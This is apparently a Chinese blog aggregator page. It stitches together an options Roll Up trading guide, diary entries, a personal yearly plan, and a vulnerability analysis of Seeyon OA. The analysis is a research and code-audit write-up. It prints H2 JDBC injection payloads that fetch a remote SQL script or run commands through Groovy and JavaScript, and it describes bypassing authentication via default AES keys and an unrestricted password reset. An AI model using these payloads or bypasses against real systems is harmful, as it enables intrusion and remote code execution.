顺便提一下期权 Roll Down，期权 Roll Down 与 Roll Up 相反，指的是关闭现有的期权头寸，同时在相同期权中以更低的执行价格开设新头寸。通常使用的场景是持续看跌，卖 CALL/买 PUT。
了解期权 Roll Up
期权 Roll Up，简称为「将期权升级到更高的执行价格」，是指通过关闭初始并为同一标的资产以更高的执行价格开设新期权，从而提高期权头寸的执行价格。交易者同时执行这两个操作，以减少滑点或由于实施策略时标的资产价格变化可能造成的利润侵蚀。
无论现有头寸是看跌期权还是看涨期权，执行 Roll Up 策略的步骤都是相同的：
- 对 BUY CALL 进行 Roll Up 时是持续看涨策略，因为您是在押注价格会继续上涨到更高的行权价。
- 对 SELL PUT 进行 Roll Up 时也是看涨策略，因为转向更高的执行价格表明您不认为价格会进一步下跌。
进行看涨期权 Roll Up 时，交易者应确保新头寸的净成本低于关闭旧头寸所产生的利润，因为更高执行价格的虚值（OTM）看涨期权溢价应该更低。相反，新的看跌期权期权在升级时的成本也会比旧的看跌期权期权更高。一句话总结就是担心卖飞的话，通过 Roll Up 策略，让你拿着利润去玩，亏了也不心疼。
根据旧头寸和新头寸是做多还是做空，Roll Up 操作结果是赚利润或者权利金，具体取决于期权 Roll Up 的价格差异。
Roll Up 常见错误
Roll Up 策略就是为了锁定利润，并且使用低风险的方式继续赚钱，但是有时候我们会犯一些错误，导致我们的利润不稳定，甚至亏钱。常见错误有：
- 滚仓后使用的成本比初始资金更多
- 使用太多的利润来滚仓，比如 >= 50%
- 在没有评估当前市场和利润的情况下盲目滚仓
解决方案：
- 滚仓的时候不要加仓期权，滚仓的期权张数只能相等或者减少，不能增加，控制好风险。
- 使用的利润不要太多，不要超过 50%，10-20% 最佳。
- 时刻关注大盘和标的走势，不要盲目滚仓。
示例
假如你之前买了一张 TSLA 231222 245.00C 的虚值期权，当特斯拉涨到 245 以上时，你完全可以卖掉 245 行权价的 CALL，然后再买一张更高的执行价格的期权，比如 250.00C，这样你就可以继续看涨特斯拉了。这样做有 2 个好处：
- 你可以拿着之前的利润去玩，亏了也不心疼。
- 更合理的利用资金，因为更高的执行价格的期权价格更低，你可以用之前的利润去买更多的期权。
上面就是我操作 COST 的实例。
上面是我没有使用 Roll Up 策略的例子，严重卖飞，如果没有卖飞的话今年真的可以休息了 😡😡。
所以说 Roll Up 策略是我相见恨晚的操作，我很早就学会使用组合期权了，但是居然最近才知道这个策略，真是太可惜了。也是因为最近才学会这个策略，有时候甚至忘记操作了，看来只有卖飞的心痛才能让我记住这个策略。
另外使用 Roll Up 最好在支持组合期权的券商上策略，不然你手动操作的话，不仅麻烦而且还会有滑点。我使用的券商里，目前富途是支持组合期权的，长桥要等明年 Q1 才上线，本周在长桥上进行 Roll Up 操作，手动操作亏了几百刀，真是心疼。所有说选择券商的时候，一定要综合考虑，不要只看佣金，还要看支持的功能。
总结
总结一下期权的 Roll Up 策略：
- 首先你要持续看涨的情况下，才能使用 Roll Up 策略。
- Roll Up 策略是为了让你拿着利润去玩，亏了也不心疼。
- Roll Up 策略是为了更合理的利用资金，因为更高的执行价格的期权价格更低，你可以用之前的利润去买更多的期权。
- 最重要的是，Roll Up 策略是为了防止卖飞，让你的利润更稳定。
注意事项：
- 选择支持组合期权的券商，不然手动操作会有滑点。
- Roll Up 策略通常只换行权价不换到期日，因为换到期日会有时间价值的损失。如果换到期日，那就是另外一种策略了（Roll Up and Forward）。
- Roll Up 策略最核心的思想就是用利润继续赚钱，所以滚仓的时候不要加仓期权，而且只用利润的 10-20% 去滚仓，不要到头来白玩甚至亏钱。
- Roll Up 策略会让你少赚一些钱，但是这种策略控制好了风险，让你的利润更稳定，不要可惜少赚的钱，要看到风险，不要贪心。
最后
期权的玩法真的有很多，我之前以为自己学会了基本的操作就可以了，但是现在看来，我还有很多东西要学习，我以后会分享更多的期权操作技巧，希望能帮助到大家。
- 博客 太隐 2023-12-15 21:27:50564
- 博客 DIYGod - 写代码是热爱，写到世界充满爱! 2023-12-15 18:14:46Twitter 在 8 月决定了全面限制公开访问和 API 接口，导致第三方集成均无法再正常工作。开放用户数据被绑架成私人敛财工具，曾经的 Open Web 标杆 Twitter 竟沦落到这种境地，数字奴隶制在最不应该的地方出现，令人唏嘘
- 博客 二丫讲梵 2023-12-15 07:52:34如要阅读全文，点击标题跳转。学习周刊-总第137期-一个docker-compose管理面板和一个ldap认证库
- 博客 二丫讲梵 2023-12-08 06:29:56如要阅读全文，点击标题跳转。学习周刊-总第136期-一个面向生产环境的 MySQL 同步工具
- 博客 太隐 2023-12-05 22:34:35有价值的不是信息，而是注意力
- 博客 太隐 2023-12-05 22:31:45初四日，兀坐听雪溜竟日
- 博客 二丫讲梵 2023-12-05 07:56:16如要阅读全文，点击标题跳转。之前我比较迷信于使用 Tomcat 部署 Jenkins，而现在随时拉起的环境越发的多，反而感觉到这种方式比较麻烦，使用 yum 安装基于 systemd 管理似乎也是一个不错的选择。
- 博客 二丫讲梵 2023-12-01 07:50:34如要阅读全文，点击标题跳转。学习周刊-总第135期-两个go语言开发的定时任务管理系统平台
- 博客 Jiajun的编程随想 2023-11-29 08:00:00《Linux 自动挂载 alist 提供的webdav》首先需要安装 `davfs2`:```bash...
- 博客 二丫讲梵 2023-11-27 05:02:13如要阅读全文，点击标题跳转。我想哭，身心强大的我想哭，对世事不置可否的我想哭。想通心浑体地痛苦一场，而悲剧的是我竟然不能生理性地掉一珠泪水。听，心在呜咽，，，青春啊青春，既然只此一程，为何不能畅快，这是生命一程里的悲哀。可怜的是，何苦自己看清这悲哀，并且滋味是那样的浓重。我不希望最终会给我最大恩惠的在任何时候成为我的切肤之痛，然而此刻啊，现实搞得我并不能引之为傲，反而悲观的几乎要窒息。现在，是真的没有人愿意同我恋爱的，原因似乎也很明确，而我就是不能战胜自己。我幻想着心仪的女子是属于我的，然而我却无丝毫勇气去做任何事情，这种反差，这种矛盾，使我注定成为“天涯沦落人”，注定形影相吊，顾影自怜。我自己对自己要求太高了，这样我最终会疯掉的。我总是无法令自己满意，于是我的思绪里开始衍生自卑。是的，自信固然为我所持有，然而我所自信的却不为时代主流，不为世人肯定，因而深深自卑。我自信越高，自卑就越强。我脆弱极了！去看看谈着恋爱的男生，他们实在不优秀，无论是做人，处事，思考，领悟，胸怀，我觉得他们全不如我，然而他们会甜言蜜语，会哄宠娇惯，女生偏就吃这一套。我看得很透，却因为自己有看透了言语的虚无与娇惯的危害而无法苟同，因此，面对无知，浮躁的美女，我注定还是单身。这似乎有点可笑，我能建立幸福的家庭并能培养最优秀的孩子，这最能使一个女人骄傲，而目光短浅的她们却舍本逐末地同未来未必多么好，也未必多么糟的男人共度青春。我相信会有明智的女生选择我，只是太少了。是我自己把自己推到了配偶小众的境地，这与不能缺女人的我相悖，我因此要哭！
- 博客 二丫讲梵 2023-11-27 04:56:40如要阅读全文，点击标题跳转。前两天我过星期在家。父亲在社旗干活，妈妈是在家的。我白天几乎全部在看电视，晚上也到十点以后，是的，没有分时间给学习，因此，尽管我在玩着，也未必是多么畅快的。我真不知道作为爱读书，痛恨浪费时间的我是怎样放纵自己的。我爱自己实在有些过分，对自己的原谅的情感比别人对自己的怨怒还甚。我竟然还想着是在家没有学习的环境，这简直愚蠢极了！懒惰，实在不该令我难为，战胜它，实在容易非常。这个时候，《非诚勿扰》是我喜爱的节目，它拓宽了我的视野，给我以深思，予我以快乐。重要的是它常能成为我与父母融合观念，交换思想的媒介。妈妈是非常简单质朴的农村妇女，长期的生活现实已将她的思维囿于“妇人之见”中，电视里稍有不常规的画面，她就看不懂了。我心里绝无半分揶揄妈妈的意思，我是在担忧，妈妈的朴实守旧与我是互为相反的，希望这差距不会带来什么伤害亲情的麻烦。这是，也仅仅是我想的，他们那“家长式”思维里应该不会有此考量。有一个男嘉宾讲女友不要什么都听闺蜜的。我引过来说父母也不该过于干涉年轻人的婚恋，爱情也重要，它也没有要与亲情抗衡的意思，然而妈妈已变了脸色，我即便是打趣也说不得了。事实上，我的恋爱是受她们影响颇大的，且全是否定意见，我实不知合他们意的是什么样，又是否会合我的意。我尽管需坚持自己，又不得不迁就妈妈，我是多情的人，又是听话的孩子。这最终会导致什么结局呢？不得而知。我不去奢求妈妈理解我，只希望不要令自己，痛苦太狠！
- 博客 MiaoTony's Blog 2023-11-26 20:30:00575
- 博客 二丫讲梵 2023-11-24 17:41:11如要阅读全文，点击标题跳转。学习周刊-总第134期-一个go的rss库
- 博客 maxOS 2023-11-23 09:00:22Scrum 有很多规则和会议，每天有站会、每隔几周有 Retrospective 会议，然后还有 Sprint planning 和 grooming。有时候这些会议确实需要花费不少时间，也有人会觉得这些事情都是在浪费时间，还不如多写几行代码。
- 博客 LoRexxar's Blog 2023-11-21 17:09:10
致远OA是国内最有名的OA系统之一，这个OA封闭商业售卖再加上纷繁复杂的版本号加持下，致远OA拥有大量无法准确判断的版本。
这篇文章的漏洞源于下面这篇文章，文章中提到该漏洞影响A8, A8+, A6等多个版本，但很多版本我都找不到对应的源码，光A8就有一万个版本，下面我们尽可能的复现漏洞和探索Joern的可能性
漏洞原理
先花一点儿篇幅简单的描述一下漏洞的基础原理，其实漏洞分为好几个部分
- 致远oa 前台XXE漏洞
- 致远oa S1服务 后台jdbc注入
- H2 jdbc注入导致RCE
- 致远oa S1服务 后台用户密码重置导致的鉴权绕过
我们分开讨论这部分
致远oa前台xxe漏洞
首先我必须得说，这部分内容涉及到的代码我找了很多个版本的源码都没有找到，尝试搜索了一下原漏洞以及一些简单的分析文章其实大部分都没有提到这部分代码的来源。
我觉得最神奇的点在于，这个漏洞如果仅按照原文提及的部分，漏洞原理及其简单，而且是一个比较标准的xxe漏洞
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23private List<Element> getNodes(String xmlString, String xpath) {
ArrayList tmpList = null;
try {
SAXReader saxReader = new SAXReader();
Reader xml_sr = new StringReader(xmlString);
saxReader.setEncoding("UTF-8");
Document document = saxReader.read(xml_sr);
if (document.getRootElement() == null) {
throw new KgException(new KgCommonsError("XmlParser Object hasn't RootElement.", KgCommonsError.SYSTEM_ERROR.getCode()));
} else {
List<?> contexts = document.selectNodes(xpath);
tmpList = new ArrayList();
for(int i = 0; i < contexts.size(); ++i) {
if (contexts.get(i) instanceof Element) {
tmpList.add((Element)contexts.get(i));
}
}
return tmpList;
}
}可控参数 xmlValue，直接解base64然后就进xxe造成漏洞。
按理说这么简单的漏洞，应该早就被爆出来滥用了，但我搜索了一下相应的内容，上一次致远oa爆出来xxe漏洞原理比这个复杂多了，而且还是组件漏洞。
由于实在找不到源码，所以我猜测这个漏洞可能有两个可能性
- 漏洞来自于某个部署时使用到的额外服务或者插件
- 这个xxe漏洞是个第三方组件问题，需要其他条件入口，原文不想提到这个入口所以没有写
不管咋说我的确是没有办法获得答案了，不过这不是这篇文章的重心，先往后看。
致远oa S1服务 后台jdbc注入
在原文中，这部分来自于agent.jar，简单来说就是一个开放到内网的服务，我查了一下应该是指这套S1服务。
在官网还可以查到这套系统，看上去应该是用于管理致远后台的平台，算是运维平台。这侧面也证明了这套系统是一套独立的系统。
在
com.seeyon.agent.sfu.server.apps.configuration.controller.ConfigurationController可以找到对应的testDBConnect方法
可以关注到相比原文当中的截图，现在加入了对h2数据库连接的限制
1
2
3params.put("dbUrl", dbUrl);
if (dbUrl.startsWith("jdbc:h2"))
return JsonResult.success(StatusCodeEnum.FAILEDCODE.getKey(), ", null);继续跟进到
testDBConnect中
从这里可以找到可以根据dburl前缀自由连接远程jdbc的方法，并允许自定义链接驱动类
H2 jdbc注入导致RCE
这部分内容其实不算是这篇文章的重点致远oa的问题，一般来说到jdbc注入之后就是利用方式的问题了，但这里还是顺带提一下。
关于jdbc的注入后利用方式其实之前已经有过不少次相关的文章以及议题，下面这篇就是一篇总结的比较全的文章
其实jdbc可控后续导致的二次利用方案相当复杂，由于这不是这篇文章的内容，所以我们直接跳到对应的位置来看看。
想要利用jdbc注入来调用H2进行进一步利用，其中有两个比较大的问题。
- 需要相应的配置参数才能命令执行
- 由于不支持多行语句，需要找到能在单行里执行命令的方法
H2的攻击利用的是Spring Boot H2 console的一个特性，通过控制h2数据库的连接url，我们可以迫使spring boot去加载远程的sql脚本并执行命令，类似下面这样的请求
1
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'
而这样的请求需要如下的参数
1
2spring.h2.console.enable=true
spring.h2.console.setting.web-allow-others=true我们简单的看下源码
在
org.h2.engine.Engine#openSession中，发起连接是可以通过INIT关键字来影响初始化数据库连接的配置
当我们使用RUNSCRIPT关键字发起远程连接时，代码将会执行到
org.h2.command.dml.RunScriptCommand#execute
这也就意味着我们可以通过RUNSCRIPT来执行恶意的SQL语句，但使用RUNSCRIPT意味着，你的客户端必须出网才有可能利用。
而我们之所以要使用RUNSCRIPT，本质是因为常见的恶意SQL执行命令需要两句，而
session.prepareCommand并不支持执行多行语句1
2CREATE ALIAS RUNCMD AS $$<JAVA METHOD>$$;
CALL RUNCMD(command)在Spring Boot H2 console的源码中，我们可以继续寻找问题的解决办法，在SQL语句当中的JAVA方法将会执行到
org.h2.util.SourceCompiler,一共有三种编译器，分别是Java/Javascript/Groovy
如果满足source开头是
//groovy或者是@groovy就会使用对应Groovy引擎。
利用
@groovy.transform.ASTTEST就可以使用assert来执行命令1
2
3
4
5
6public static void main (String[] args) throws ClassNotFoundException, SQLException {
String groovy = "@groovy.transform.ASTTest(value={" + " assert java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")" + "})" + "def x";
String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '"+ groovy +"'";
Connection conn = DriverManager.getConnection(url);
conn.close();
}除了Groovy以外还有JavaScript的利用方案
1
2
3
4
5
6public static void main (String[] args) throws ClassNotFoundException, SQLException {
String javascript = "//javascript\njava.lang.Runtime.getRuntime().exec(\"open -a Calculator.app\")";
String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '"+ javascript +"'";
Connection conn = DriverManager.getConnection(url);
conn.close();
}致远oa S1服务 后台用户密码重置导致的鉴权绕过
在前面找到对应的利用方案之后，当我们尝试去做利用的时候会发现其实后台有额外的权限验证。直接访问testDBConnenction，会报非法访问的错误。
这是因为没有传入对应的token，在
com.seeyon.agent.common.utils.TokenUtils中可以找到对应的检查
这里的tokenMap可以在
com.seeyon.agent.common.getway.GetWayController找到对应的写入位置
通过解密获得username、pwd、dogcode、versions，经过各种验证之后token会被存入全局变量
这个token会被存入最终的tokenMap当中，而到这里我们问题变成了如何模拟这个过程，在这个过程当中我们需要的信息有点儿多
- username，可以用默认的用户名seeyon
- pwd
- version
- aes的秘钥和iv
跟踪 AESUtil.Decrypt到定义的位置，可以发现秘钥和iv都是默认的，可以直接使用
在
com.seeyon.agent.common.controller.ConfigController中可以找到一个方法modifyDefaultUserInfo
这个方法可以在没有任何限制的情况下修改默认用户seeyon的密码
最后剩下的一个信息则是version，这个后台的版本比较复杂，我们可以通过一个接口来获取
在
com.seeyon.agent.common.controller.VersionController的getVersion方法里可以获取对应的版本号
到这里我们获取了模拟token的所有信息，就可以在后台进行任意操作了
For Joern
当问题回到源代码扫描上，我们也可以用类似的漏洞拆解来实现扫描
致远oa前台xxe漏洞
由于这个源码找不到，所以这里用一个类似场景写出来的语句来进行模拟挖掘和扫描。
1
2
3
4def source = cpg.method("getParameter").callIn
def sink = cpg.call.filter(_.methodFullName.contains("java.io.StringReader.<init>"))
sink.reachableByFlows(source).p我们可以通过连通初始化位置以及可控参数来判断是否存在路径，正常来说如果两个节点存在连通路径，那么就存在调用关系，但数据流的过程间分析需要更合理的判定方式，就比如这个漏洞。
SAXReader的XXE漏洞修复方案并不是在参数的过滤上，而是在于SAXReader对解析xml的配置这就要求除了获得source到sink的连通性以及调用关系以外，还要对
SAXReader实例化后的属性变化有所关注，在Joern上虽然可以强行做这样的判定，但却没有特别适配的方案，甚至需要通过正则匹配等方式来解决。致远oa S1服务 后台jdbc注入
照理先引入S1的包，这个东西其实代码不是很大，但是不知道为什么解出来的包非常之大，可能有一些问题。
1
2joern> importCode("S1.jar", "seeyons1")
val res36: io.shiftleft.codepropertygraph.Cpg = Cpg (Graph [959587 nodes])先找到设置了注解的testDBConnect方法
1
cpg.method("testDBConnect").where(_.annotation.name(".*Mapping")).l
然后再找到设置jdbc连接的位置，并设置参数为3个string
1
cpg.method("getConnection").callIn.filter(_.methodFullName.contains("java.lang.String,java.lang.String,java.lang.String")).l
1
2
3
4def sink = cpg.method("getConnection").callIn.filter(_.methodFullName.contains("java.lang.String,java.lang.String,java.lang.String"))
def source = cpg.method("testDBConnect").where(_.annotation.name(".*Mapping")).parameter
sink.reachableByFlows(source).p
存在连通性，表示包含注解的方法参数可以连通到sink点，存在问题。
H2 jdbc注入导致RCE
相比其他几个问题，这个jdbc的利用其实就不算源代码分析层面的部分了。
无论是通过H2的链接来配置参数还是通过特殊语句二次利用，其实本质上都是H2数据库的feature，这里我们就跳过源代码分析的部分继续看后面的部分
致远oa S1服务 后台用户密码重置导致的鉴权绕过
让我们把视角在转回S1上，其实问题很简单，由于后台主要检查token是否有效
所以我们可以尝试去寻找全局变量tokenMap初始化过的地方
1
cpg.call("<operator>.fieldAccess").filter(_.code.equals("com.seeyon.agent.common.utils.TokenUtils.tokenMap")).l
然后寻找对应调用的位置
1
cpg.call("<operator>.fieldAccess").filter(_.code.equals("com.seeyon.agent.common.utils.TokenUtils.tokenMap")).map(n=>n.astIn.head.astIn.head._astIn.head.asInstanceOf[io.shiftleft.codepropertygraph.generated.nodes.Method].fullName).l
可以看到涉及到tokenMap的方法出了isChecktoken以外还有getToken
然后我们继续寻找调用了getToken的地方
1
cpg.call.filter(_.methodFullName.contains("com.seeyon.agent.common.utils.TokenUtils.getToken")).l
然后向上寻找对应的调用函数是什么
1
cpg.call.filter(_.methodFullName.contains("com.seeyon.agent.common.utils.TokenUtils.getToken")).map(n=>n.astIn.head.astIn.head._astIn.head.asInstanceOf[io.shiftleft.codepropertygraph.generated.nodes.Method].fullName).l
在这里我们找到了调用gettoken的位置，也正好对应写入token的位置。
而在后续的利用条件收集中，也可以利用joern来快速挖掘和发现。
- 寻找获取用户名和密码的方法
这个很简单，就像我们平时做代码审计的时候，会通过一些关键字来搜索关键代码一样，在joern中，你可以做类似的事情。我们可以搜索变量名为username的变量被调用的位置。
1
cpg.identifier("username")._astIn.dedup.l
当然这显得非常粗暴，数据量非常大，但我们可以做更多的限制，比如调用该变量的方法必须包含put
1
cpg.identifier("username").map(n=>n._callViaAstIn.filter(_.code.contains("put")).dedup.l).l
我们可以直接向上找到对应的函数方法定义位置1
cpg.identifier("username").map(n=>n._callViaAstIn.filter(_.code.contains("put"))._astIn._astIn.l).dedup.l
我们可以选择几个打开看看
当然我们发现不只是有名字为password的变量，还有名为password的常量
1
2cpg.literal("\"password\"").map(n=>n._callViaAstIn.filter(_.code.contains("put"))._astIn._astIn.map(m=>List(m.asInstanceOf[io.shiftleft.codepropert
y raph.generated.nodes.Method].fullName)).l).dedup.l
可以顺着这里找到写入默认账户的位置
前面提到的默认账户修改密码的点也能搜索到，这里甚至可以直接用默认账号和密码
除此之外寻找版本号的位置也可以用joern来完成，直接搜索调用了version变量的地方
1
cpg.identifier("version").map(n=>n._callViaAstIn.filter(_.code.contains("put"))._astIn._astIn.map(m=>List(m.asInstanceOf[io.shiftleft.codepropertygraph.generated.nodes.Method].fullName)).l).dedup.l
直接找到了对应的getVersion方法
通过joern提供的从属关系图可以快速锁定我们要寻找的大致目标，其中的问题也相当实际，你很难在不熟悉代码的情况下利用joern做深入的扫描，这也是joern类工具的症结之一
- 博客 二丫讲梵 2023-11-21 07:39:03如要阅读全文，点击标题跳转。周四，天已冷得低至零下，成冰有雪了。今天很显冷了，穿着篮球鞋依然冻得不行！吃完晚饭进班，人已经很齐了，而更齐得是大家都在吃着，泡面最多，零食亦不少，整个班级弥漫着一股浓厚的醋味，我实在不该在此刻属于这个班，转身即走边言：“这真是一班不要命的家伙”。我去到汽修班转了一周，折了回来，气味不减，但我也顾不得了，已于心打算给佳姐一短信：不知道你那里什么天气，家里已经很冷了，早上开始零星有雨，温度慢慢降下来，中午伴有明显雪子儿，风越来越大，下午有明显雪花。到快放学的时候，已成为雪花，所谓鹅毛，这算为我喜欢的。现在气候变暖，我们这里的雪也成了奢侈的，可以看到很多人发了说说记录此日，有情侣要一起白头的，更有甚者要一起死的，我只作一笑！猜想今夜必定静寂，风雪呼啸，把人间可染处尽白！青松原不老，为雪白头！大家微有暇，为我雪洗！想起这，我足够欣喜，你如果有空，也打个电话朝家里问候一下吧。我有时想，大家为什么不好好吃饭而总是吃这些？他们完全知道这是不好的，然而不将吃饭做重视是最根本原因。更有甚者，一些情侣们互相督促着堕落，我想，这根本就是在把对方推离自己的表现。而我呢，仍然是孑然一身带着孑然一根啊，我确信自己不能与现代女性“与卿偕堕”，我等待着属于我的人。况且，现在的我一个人也非常好！
- 博客 二丫讲梵 2023-11-21 07:31:41如要阅读全文，点击标题跳转。我的《快乐论》与《怀了孕的文人们》早已思考妥当，都也开了头，然而当我拿出纸后，却总是发着呆写不下一个字。这两篇是我要严肃对待的，或许正是如此，才影响的我踌躇不墨。在写字问题上，我就那么没有魄力吗？似乎是的，再想想就连我整天的思绪，也相当缺乏魄力。
- 博客 二丫讲梵 2023-11-17 17:25:23如要阅读全文，点击标题跳转。学习周刊-总第133期-零配置生成本地ssl证书的工具，以及一个可以将你终端共享的工具
- 博客 Jiajun的编程随想 2023-11-17 08:00:00《FreeBSD 使用 vm-bhyve 安装Debian虚拟机》首先需要安装 `bhyve` 和 `vm-bhyve`:```bash...
- 博客 Jiajun的编程随想 2023-11-16 08:00:00《FreeBSD 和 Linux 网卡聚合实现提速》今天折腾的内容是网卡聚合提速。由于家里的交换机是2.5G，但是有两个机器，板载网卡都是千兆网卡，我想提升一下访问该机器的传输速率，因此想到了可以叠加两个网卡，从而提升带宽，由于两台机器的操作系统不同，因此FreeBSD和Linux都折腾了一下...
- 博客 Jiajun的编程随想 2023-11-15 08:00:00《GPT 帮我搞定了时区转换问题》前几天碰到一个时区转换问题，需要把2023年(year)第46周(week)的第2天(weekday)转换为timestamp，时区在美国洛杉矶。其中weekday使用0表示周一，6表示周日...
- 博客 吕小荣的网志 2023-11-13 08:00:00
Health
学习拳击。稍微入门之后，就可以防守和进攻 80% 的人群，可以在紧急关头保护自己的孩子，或者被人侮辱的时候还击，不用憋坏自己导致心理疾病。
家庭
第一，上海的“移民政策”又放宽了，办理上海户口的手续又进一步精简，不用回杭州去办理各种证明材料了。可以把上海户口办好，不要再拖了。
第二，陪妻子学雅思，一起考雅思，以考代练。万一有出国的需要，不用慌忙筹备。✅
第三，读万卷书，行万里路。给全家人刷签证，为沐沐的夏校(Summer School)作准备。
- 全家人的加拿大签证 ✅
- 妻子和孩子的美国签证。
- 日本 5 年签
- 韩国 5 年签 (optional)
第四，看看北美肌电图技师需要的技能和证书。
第五，沐沐在学习打篮球，我也跟着学。小的时候家里穷，没机会学习打篮球，现在我也弥补一下童年的遗憾。✅
第六，沐沐阅读文字有困难。我发现圣经是极佳的阅读材料。因为圣经每一句都有编号，沐沐失去焦点时，我可以非常方便的让他重新聚焦。我们晚上读圣经，我读三段，他读一段，沐沐很享受这种占爸爸便宜的感觉。
第七，想办法带全家人去日本兜一圈
第八，减少支出，增加储蓄，分散资产。一来是应对中国的经济风险，二来表达不满和反抗。✅
工作
第一，我被调到一个新的组，开始做 Auth, Authz, Profile, SSO 等基础设施。我没有经验，要学的东西一大堆。
- Auth0
- Auth 2.0 & OIDC
- Single Sign On
- TypeScript / Node.js
- DynamoDB
在团队内，我可以做什么？
- 方方面面都不熟悉，先把小事做好，积攒信用，再发表意见和观点。
- 我不是主要负责人，时间会非常充裕，可以在团队的外围多做一些探索性的工作。
- 在半年的时间内，成长为 NodeJS 娴熟工和 DynamoDB 专家。
我是极其骄傲的人，争强好胜，自尊心又强，经常产生无谓的争竞，浪费自己和团队的时间。以后无论去哪一家公司，哪一个组，都要养成低调的习惯。无论喜欢还是反对，先肯定核心人员的付出和已有的成绩，培养融洽的同事关系，降低别人的排斥感，方便后期开展工作。
第二，强制分配 10% 的时间在沟通上。
- 多了解客户
- 和产品经理有一个 Bi-weekly 的 1:1
- 每个月和每个组的 Tech Lead 要有一次 1:1，收集他们的实际需求，永远不脱离一线。
第三，强制自己分配 20% 时间组织 “中国地区学习俱乐部”。
在我既往工作过的公司，我始终有热情去分享。应该更进一步，成为一个好的组织者，让别人也有热情去分享，分享有用的知识。
受限于精力和时间，再优秀的程序员能做的事情也有限。如果形成一个机制，让团队内的所有优秀程序员分享自己的知识，将会显著提升整个组织的效率。
- 老程序员闪闪发光，增加了在整个公司的影响力。
- 年轻的程序员可以快速成长。
- 每个小团队之间，可以快速汲取别人的经验教训，不用从头做起。
第四，放弃 Istio 的学习。
Istio 带来的收益和它的复杂度比起来，不成正比，没有必要在 Workstream 过多和过早的的引入复杂度。
第五，开始涉猎人工智能相关的知识。
2011-2023 年沉淀下来的习惯
在对自己的观察中我发现了一个有趣的事：当生活的场景或地点发生变化时，稳定的行为模式会被打断，很难恢复，即使恢复也不完整。
为了对抗家族遗传性的高血脂，我一直低脂低盐饮食，过年 7 天假期我允许自己短暂的放纵，但是假期结束后我却忘记了低脂饮食的习惯。本来我每天坚持跑步 5km，得了新冠后，浑身乏力，无法运动。一个月后身体彻底康复，身体变得懒惰，不再愿意跑步。
旅游，过年，出差，让生活充满了新意，但也打断了循规蹈矩的生活，每次打断我都把自己弄丢了。这个文档快速帮自己找回自己，找回那个我所喜爱的循规蹈矩的自己。
信仰习惯
原则 打破原则的直接后果 (3-5 年) 打破原则的凄惨结局 (60 岁) 常常默想死亡 “假如生命只剩2年，该做什么” 沉迷物质享受和虚浮的事物 没有反省的人生不值得活 写日记 三选一。全家人一起早晨听圣经；晚上一起敬拜；晚上一起祷告。 全家偏离信仰 健康习惯
原则 打破原则的直接后果 (3-5 年) 打破原则的凄惨结局 (60 岁) 能早起就早起，不能早起别勉强 每天早晨喝一大杯水 肾结晶加重，变为结石 打喷嚏时头后仰，保护颈椎。 颈椎病发作 中午 14:00 之后不要喝咖啡 睡的很浅，凌晨 4 点就会醒。更严重的话，彻夜失眠 记忆力下降，无法编程 左右手交替使用鼠标，一月一换 右侧手肘疼痛 左右交替使用磨牙进食，一月一换 单侧磨牙磨损，疼痛 不喝酒 前列腺不舒服 / 胃食管反流 老年后起夜增多，睡不好，折腾死自己 站立开会 久坐导致前列腺肥大 老年后起夜增多，睡不好，折腾死自己 工作 45 分钟，锻炼 15 分钟 久坐导致前列腺肥大 老年后起夜增多，睡不好，折腾死自己 不吃豆腐乳 拉屎不痛快 吃饭慢嚼细咽 吃饭速度对胃食管反流影响非常大，是决定性因素，然后继发咽炎。 拉屎不看手机 痔疮发作 / 颈椎病发作 不吃香肠 肥胖/脂肪肝/家族遗传高血脂/胃食管反流烧心 脑梗/心梗，成为家庭的累赘 每天晚上跑步 5 km 肥胖/脂肪肝 脑梗/心梗，成为家庭的累赘 21:30 躺在床上，读书，讲故事，敬拜，闲聊 没有敬拜时间 偏离信仰，下地狱 工作间隙锻炼方式有：
- 半跪俯卧撑
- 引体向上
- 卷腹
- 无负重下蹲 squat
- 提肛 20 个
- 收下巴锻炼颈椎
- 臀桥
家庭习惯
- 时时刻刻维护家里爱的氛围，说话态度，口气，都需操练。爱能遮盖很多的矛盾。（女人感受不到爱，就会拆台，这是我过去几年忽视的一个变量。）
- always hope. 多鼓励家人的闪光点，少打击家人的缺点。
- 每个季度回一趟老家，看望爸爸妈妈爷爷奶奶
- 中午独自吃饭时，和奶奶聊聊天
- 每周给我爸妈打个电话
- 多储蓄
- 不需要的东西，一分钱都不要花。打折省 20%，不买省 100%。
- 不要高估钱财的作用，它并不可靠。战争/屠杀/文革随时有可能发生，没有绝对安全。
- 家中富足睡不安稳，不如穷乏却睡的香甜。
学习习惯
- 下午四点没事的话，背单词，复习 Anki 中的卡片。
教会习惯
- 即使知道大部分人都是虎头蛇尾，即使自己是个悲观者，也要多鼓励，少挖苦。你如何鼓励自己的儿子，在教会里也要如此鼓励别人。
- 人都是刺猬，爱彼此越深，伤害越深，不要因为伤害就对关系失望和退缩。
历史回顾
- 博客 构建我的被动收入 2023-11-12 08:00:00本文探讨贝莱德（BlackRock）和先锋领航（Vanguard Group）作为全球资本管理巨头的力量和影响。
- 博客 Jiajun的编程随想 2023-11-12 08:00:00《长任务系统如何处理？》有时候我们会遇到一些长时间运行的任务，应该如何处理呢？可能你的第一回答是“使用异步任务”，没错，是需要使用异步任务，但没有那么简单。常见的异步任务框架，针对的场景，大部分可能都是1分钟以内的任务，例如很多框架都会为任务设置一个超时时间...
- 博客 Jiajun的编程随想 2023-11-11 08:00:00《macOS/Linux 编译 InputLeap》上一篇说到，我安装了 synergy-core，但是是下载别人编译好的二进制。我就想着，反正我也能编译，干脆改改源码，把Synergy里烦人的激活提示框干掉得了？但是又想到，Barrier本来就是改好了的，只是不维护了，InputLeap 又是 Barrier 的继任，那我就直接自己编译 InputLeap 试试看了...
- 博客 Jiajun的编程随想 2023-11-10 08:00:00《使用开源软KVM - synergy-core》前面我写过使用barrier的文章，Linux + Windows的时候，Linux做服务端，Windows做客户端，工作的还是挺不错的，大部分时候都能正常工作，偶尔剪贴板会有点小问题，比如贴出来的是乱码，第二次贴才正常，但是无伤大雅...
- 博客 二丫讲梵 2023-11-09 17:27:23如要阅读全文，点击标题跳转。学习周刊-总第132期-Nginx如何禁止非域名的80,443的请求
